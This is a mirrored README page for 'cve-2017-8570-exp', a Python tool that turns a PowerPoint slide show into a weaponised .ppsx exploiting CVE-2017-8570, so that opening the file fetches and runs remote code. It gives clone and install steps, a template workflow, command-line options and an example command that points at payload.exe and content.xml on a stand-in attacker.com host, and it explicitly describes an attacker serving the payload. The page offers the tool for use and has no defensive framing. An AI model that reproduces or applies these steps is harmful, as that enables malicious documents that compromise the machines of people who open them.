Coder Social home page Coder Social logo

cve-2017-8570-exp's Introduction

Introduction

By Temesgen Yibeltal [email protected] (Based on code by https://github.com/bhdresh/CVE-2017-8570 (now removed))

ppsx-file-generator is a python tool that generates a power point slide show file that executes code from a remote source based on an existing file.

What does it do?

The tool generates a power point slide show file and an xml file based using the input provided. The power point file accesses the xml file which holds information of the payload file. An attacker could serve the xml file and the payload on a local or public server and provide the url for each as input.

Getting the code

First, get the code:

git clone https://github.com/temesgeny/ppsx-file-generator.git

ppsx-file-generator is written in Python and requires zipfile which can be installed using Pip:

pip install zipfile

Requires Microsoft Office Power Point to carry out this task.

Usage

First open Microsoft Office Power Point and open 'template.ppsx'. Open your own presentation file and copy the icon 'Coder.exe' from template.ppsx to slide 1 of your power point file. Save the file as Power Point Show (.ppsx). Then use the python tool as

    Usage: generate_ppsx.py input_filename -o output_filename -p payload_uri -x xml_uri

    input_filename          The input ppsx file name.

    -o              Output .ppsx file name, (inlcude the .ppsx).
    -p              The payload exe or sct file url. 
                    It must be in an accessible web server. (Optional for xml file)
    -x              The full xml uri to be called by the ppsx file. 
                    It must be in an accessible web server.(Required)
python generate_ppsx.py -o output.ppsx -p http://attacker.com/payload.exe -x http://attacker.com/content.xml input.ppsx
Generated content.xml successfully
Generated output.ppsx successfully

cve-2017-8570-exp's People

Contributors

temesgeny avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.